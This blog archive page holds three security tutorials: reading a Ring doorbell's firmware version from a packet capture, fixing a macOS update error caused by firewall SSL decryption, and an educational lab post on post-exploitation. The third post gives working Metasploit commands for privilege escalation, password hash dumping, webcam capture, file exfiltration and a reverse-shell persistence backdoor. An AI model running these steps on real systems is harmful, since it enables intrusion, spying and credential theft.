Category Archives: tutorial

How to determine your Ring Doorbell Pro firmware version

I have a love/hate relationship with my Ring Doorbell.  When I purchased it in 2016 it worked great for a year with minimal issues.  As it became more popular, I noticed the quality dropped with video freezes, black videos, and missed motion events.  This led me to the Ring Doorbell subreddit where I found a community of users who were also experiencing the same issues.  This made me feel a bit better (misery loves company, right?) but still disappointed that this $250 doorbell no longer lived up to its promise.

A number of the users who shared their negative feedback traced some of the poor service to firmware changes.  It soon became commonplace to post your issues along with the firmware version your device was currently running.  Pretty basic troubleshooting practice.  So it was much to everyone’s dismay when in late 2017, Ring decided to change how they displayed firmware versions.  In short, if your device is on the latest version the mobile app would only display, “Up to Date” as opposed to an actual firmware version number.  But without an actual firmware version number to compare with others, for all you know your device may actually be on an older version but hasn’t properly updated itself such that it merely *thinks* it is up to date.  Presumably, if it was actually out of date, it will display a version number, but this is useless as you cannot manually force an upgrade.  And again, you can’t compare with others to know which version you should actually be on.  This also makes it difficult to track changes that Ring is making and correlate them to your device’s performance improvements or degradations.  As you might imagine, there was a lively Reddit discussion on this.

Being in the information security field, I know that software version numbers are critical to confirming that my application is fully patched against any identified security vulnerabilities.  Naturally, I was disappointed by this change and soon looked for ways to determine the version number using, what else?  My Palo Alto firewall.

I knew my Ring Doorbell had to communicate with Ring’s servers in some way to check if it was running the latest firmware version.  I figured an easy way for Ring to do this is via user agent strings.  So I first checked the Monitor tab to see if the user agent of the device appeared in the URL Filtering view.  Sadly, the user agent field was blank suggesting that it wasn’t normal http traffic that this information was in.  Still feeling confident that the user agent must be somewhere, I decided to run a packet capture through the Palo Alto via Monitor -> Packet Capture.

  1. Navigate to Configure Filtering -> Manage Filters.
  2. Click Add and configure the Source with the IP address of your Ring Doorbell.  I have mine statically assigned via my DHCP server but this should be fairly easy for you to determine either in your wireless router or your Palo Alto firewall.  Click OK when done.

3. Back in the Configure Filtering menu turn Filtering to ON.

4. In Configure Capturing click Add and select firewall for Stage and give your packet capture a file name. In this example I’ve used ringdoorbell.  Click OK and your view should look like the one below.

5. Once you’re ready, in the same view set Packet Capture to ON.  You’ll receive a warning about packet captures degrading system performance and to remember to disable the feature once you’re done.  Click OK to proceed.

6. Now we need to generate some traffic through the doorbell to hopefully find the user agent string in the packet captures.  Start a Live View session through your Ring mobile app and let it run for at least 30 seconds.  Once completed, set Packet Capture back to OFF.

7. Click the Refresh button in the top right corner or reload the page to find your newly created packet capture file in the Captured Files view.  Click on it to download the file to your computer.

8. You’ve got a few options to view this file.  Since I’m on a MacBook Pro, I’ll walk through how to use tcpdump to quickly find the user agent.  You could also use Wireshark to accomplish this.

Locate the file on your system and use the following tcpdump command: tcpdump -nn -r ringdoorbell.pcap -A | grep -i agent

tcpdump -nn -r ringdoorbell.pcap -A | grep -i agent
reading from file ringdoorbell.pcap, link-type EN10MB (Ethernet)
User-Agent: Device/lpdv2/1.13.00069
User-Agent: Device/lpdv2/1.13.00069
User-Agent: Device/lpdv2/1.13.00069
User-Agent: Device/lpdv2/1.13.00069

Voila!  You can see that my user agent shows that my Ring is on firmware version 1.13.00069.  From here, I could look for ways to automate this or periodically run this check manually and compare with previous captures to see if I can correlate Ring issues with changing firmware numbers.  Another way to possibly do this is to use my favorite security tool Bro to extract this automatically in real time.

I hope that Ring strongly reconsiders this change and reverts back to displaying the full firmware version number.  But in the meantime, I (and now you!) have a way to accurately determine this value.


Palo Alto Firewall: macOS Updates NSURLErrorDomain error -1012

About a month ago, I enabled decryption on my Palo Alto firewall and limited it only to traffic to and from my MacBook Pro.  It’s worked well and provided great visibility into the vast amounts of encrypted traffic that we see nowadays.

So what’s this have to do with macOS?  Apple periodically releases updates and I had read that one was just released.  I checked my laptop and saw that I had a few updates to install for the iWork suite and Xcode.  Notably missing were notifications for the core macOS system updates.  I clicked on the “Updates” button again in the Mac App Store and received the following message.:

“Oh, the operation couldn’t be completed because of the NSURLErrorDomain error -1012?  Great, real helpful.”  I tried closing an reopening the App Store with no luck.  I thought maybe my laptop just wasn’t happy because I hadn’t rebooted in a while so I tried that, but still no luck.  I searched the interwebs and found a few forum posts, but nothing too helpful.  One post included lines from /var/log/install.log so I decided to check out what mine said.

2018-03-29 22:17:47-05 macbookpro softwareupdated[501]: Scan got error The operation couldn't be completed. (NSURLErrorDomain error -1012.)
2018-03-29 22:17:47-05 macbookpro softwareupdated[501]: Ramped updates marked
2018-03-29 22:20:23-05 macbookpro softwareupdated[501]: SUScan: Scan for client pid 501 (/System/Library/CoreServices/Software
2018-03-29 22:20:23-05 macbookpro softwareupdated[501]: Failed Software Update - Refusing invalid certificate from host:
2018-03-29 22:20:23-05 macbookpro softwareupdated[501]: Failed Software Update - Refusing invalid certificate from host:
2018-03-29 22:20:23-05 macbookpro softwareupdated[501]: SUScan: Elapsed scan time = 0.2
2018-03-29 22:20:23-05 macbookpro softwareupdated[501]: SUScan: Error encountered in scan: Error Domain=NSURLErrorDomain Code=-1012 "(null)" UserInfo={NSErrorFailingURLStringKey=, NSErrorFailingURLKey=, NSLocalizedRecoverySuggestion=Make sure you’re connected to the Internet, and then try again., SUErrorRelatedCode=SUErrorCodeScanCatalogNotFound}

“Refusing invalid certificate from host:” — now we’re getting somewhere!  I knew immediately this was due to my Palo Alto decryption.  I checked my Monitor logs and confirmed that decryption was occurring on traffic to

So how do I solve this?  A little digging and I found that Palo Alto maintains a predefined list of URLs to exclude from decryption in Device -> Certificate Management -> SSL Decryption Exclusion.   These are URLs that Palo Alto knows will cause issues if decryption is attempted.  Interestingly, searching for “apple” in this list showed a number of predefined URLs.  One was even described as “apple-appstore: pinned-cert” suggesting that perhaps Apple has updated the URL for this, causing my decryption to break my update process.

To add my own, I clicked “Add” at the bottom, and entered the following.:

Committed the change and tried updating my laptop once more.  This time, it worked!


Seeing Red: The Fun Stuff

The Fun Stuff: Privilege Escalation, Exfiltration, and Persistence

This is part of a series of posts that walk through an attack.  To start from the beginning, click here.

In the last post, we successfully exploited our Victim using a client-side attack targeting an old version of Microsoft Internet Explorer.  We ended with a Meterpreter session confirming our access to the Victim machine.  In this part, we’ll explore the capabilities of Meterpreter including privilege escalation and data exfiltration.

Privilege Escalation

We talked a bit about Meterpreter in the last post, now let’s play with some of its many functions.  Our Meterpreter session is now running under the Notepad process as the lower-privileged “eric” user.  We want to escalate our privileges to give us enhanced system functionality.  In Windows, the highest user is “SYSTEM”.

Meterpreter has a built-in “getsystem” command that will attempt to use various techniques to elevate our user to SYSTEM.  Let’s give it a try.

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.

Hmm, no luck.  No worries, let’s try a local exploit.  MS14-058 seems like a good one.

meterpreter > background
Backgrounding session 1...
msf exploit(ms13_037_svg_dashstyle) > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > set SESSION 1
msf exploit(ms14_058_track_popup_menu) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms14_058_track_popup_menu) > set LHOST
msf exploit(ms14_058_track_popup_menu) > set LPORT 5555
LPORT => 5555
msf exploit(ms14_058_track_popup_menu) > exploit
[*] Started reverse handler on
[*] Launching notepad to host the exploit...
[+] Process 1556 launched.
[*] Reflectively injecting the exploit DLL into 1556...
[*] Injecting exploit into 1556...
[*] Exploit injected. Injecting payload into 1556...
[*] Payload injected. Executing exploit...
[*] Sending stage (770048 bytes) to
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 2 opened ( -> at 2015-07-26 17:04:37 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Success!  We’re now running as SYSTEM.

A Litte Bit of Fun

So now what?  The first thing an attacker will likely do is dump password hashes.  This is easy to do with Meterpreter.  These hashes can the be cracked offline giving us, the Attacker, passwords to try on Victim online accounts.

meterpreter > hashdump

How about a screenshot of the desktop?

meterpreter > screenshot
Screenshot saved to: /root/mUSXxVRT.jpeg


Got a webcam? Let’s take a picture and stream some video!

meterpreter > webcam_snap
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/SCCMCDyI.jpeg

meterpreter > webcam_stream
[*] Starting...
[*] Preparing player...
[*] Opening player at: zwuaLciW.html
[*] Streaming...

What files are on the system?  Perhaps a password file…

meterpreter > ls

Listing: c:\Users\eric\Desktop

Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40555/r-xr-xr-x 0 dir 2015-07-26 17:13:01 -0500 .
40777/rwxrwxrwx 0 dir 2014-11-11 19:36:51 -0600 ..
100666/rw-rw-rw- 282 fil 2014-11-11 20:06:50 -0600 desktop.ini
100666/rw-rw-rw- 113 fil 2015-07-26 17:12:27 -0500 my_passwords.txt

meterpreter > cat my_passwords.txt
Top Secret Passwords
+ Bank: no-one-will-guess-this-password
+ Email: password!@#$
+ Amazon: shoptilyoudrop192

meterpreter > download my_passwords.txt
[*] downloading: my_passwords.txt -> my_passwords.txt
[*] downloaded : my_passwords.txt -> my_passwords.txt

This is but a small sampling of the many commands Meterpreter provides.  Play with the other commands to see what else Meterpreter can do.


Now that we’ve compromised our Victim machine, let’s install a persistent backdoor that allows us back in even if the machine is restarted.  To do this, we’ll generate a backdoor that autostarts and periodically calls back to our Attacker machine.

meterpreter > run persistence -S -i 5 -p 1337 -r
[*] Running Persistance Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/WIN-FDN9DNVQ5IR_20150726.4130/WIN-FDN9DNVQ5IR_20150726.4130.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST= LPORT=1337
[*] Persistent agent script is 148420 bytes long
[+] Persistent Script written to C:\Users\eric\AppData\Local\Temp\vkPiHmUdoG.vbs
[*] Executing script C:\Users\eric\AppData\Local\Temp\vkPiHmUdoG.vbs
[+] Agent executed with PID 2008
[*] Installing as service..
[*] Creating service dexYVTDwgSWcORt

Back on our Attacker machine, we’ll setup a Meterpreter handler to accept any incoming connections from our Victim machine.

msf exploit(ms14_058_track_popup_menu) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST
msf exploit(handler) > set LPORT 1337
LPORT => 1337

Run the handler on the Attacker and restart the Victim machine. If all goes well we should be reconnected as SYSTEM.

msf exploit(handler) > exploit
[*] Started reverse handler on
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to
[*] Meterpreter session 7 opened ( -> at 2015-07-26 17:47:55 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Too easy!


Throughout this series we’ve walked through a typical client-side attack.  We started with a basic understanding of penetration testing tools and what is commonly used.  We performed reconnaissance on our Victim machine and determined what vulnerable software could be exploited.  We then set up a client-side attack and compromised our Victim machine, gaining low-privilege access.  Finally, we executed a local privilege escalation exploit to gain SYSTEM privileges, used Meterpreter to demonstrate our control over the system including data exfiltration, and finally created a persistent backdoor so we can re-establish access at any time.

Hopefully, this has been an eye-opening experience to see just how easy it is to compromise a system and why it is so important to stay up to date with software patches and apply basic security principles.  In the next series, we’ll investigate how to detect malicious activity and defend a network using open source security tools.